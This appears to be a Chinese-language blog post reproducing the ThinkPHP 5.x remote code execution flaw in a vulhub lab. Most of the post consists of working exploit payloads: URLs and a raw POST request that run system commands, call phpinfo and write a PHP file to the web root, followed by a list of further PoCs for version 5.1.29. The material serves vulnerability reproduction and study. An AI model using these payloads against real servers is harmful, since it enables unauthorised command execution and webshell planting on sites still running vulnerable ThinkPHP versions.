zoukankan      html  css  js  c++  java
  • ThinkPHP5.x 任意代码执行漏洞复现

    0x00 概述

    这个漏洞是Thinkphp官方在2018年底发布的一个安全更新中修复的一个重大漏洞,是由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。

    0x01 影响版本

    5.x <= 5.1.30
    5.x <= 5.0.23

    0x02 环境搭建

    使用vulhub环境进行搭建 

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/thinkphp/5-rce/
    docker-compose up -d

    搭建完成后访问http://ip:8080

    环境搭建成功

    0x03 漏洞复现

    环境1:thinkphp v5.0.20

    1.远程命令执行

    poc:

    http://192.168.217.131:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    2.远程代码执行

    poc:

    http://192.168.217.131:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

    3.写shell

    poc:

    http://192.168.217.131:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

    执行之后会在根目录下写入1.php ,内容是输出phpinfo();

    环境2:thinkphp v5.0.23

    远程命令执行

    poc:

    POST /index.php?s=captcha HTTP/1.1
    Host: yuorip
    Accept-Encoding: gzip, deflate
    Accept: */* Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

    其他poc记录:

    v5.1.29:
    1.代码执行
    ?s=index/	hinkRequest/input&filter=phpinfo&data=1
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    2.命令执行
    ?s=index/	hinkRequest/input&filter=system&data=操作系统命令
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    
    3.文件写入
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();>
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
  • 相关阅读:
    CSDN的验证码,真得很糟糕
    CSDN的验证码,为什么要这样呢
    <转>http协议 文件下载原理详解
    验证码,验证码,继续
    搞了一天,气死我了
    昨天下午三点,到晚上六点写的(干死单文档)
    一个早晨加,一个上午的结果
    Linux+QT4+我忙活半宿的结果
    Linux真好玩阿,不过我家电脑不行,运行不够流畅
    springboot之整合JPA
  • 原文地址:https://www.cnblogs.com/Cl0wn/p/13258523.html
Copyright © 2011-2022 走看看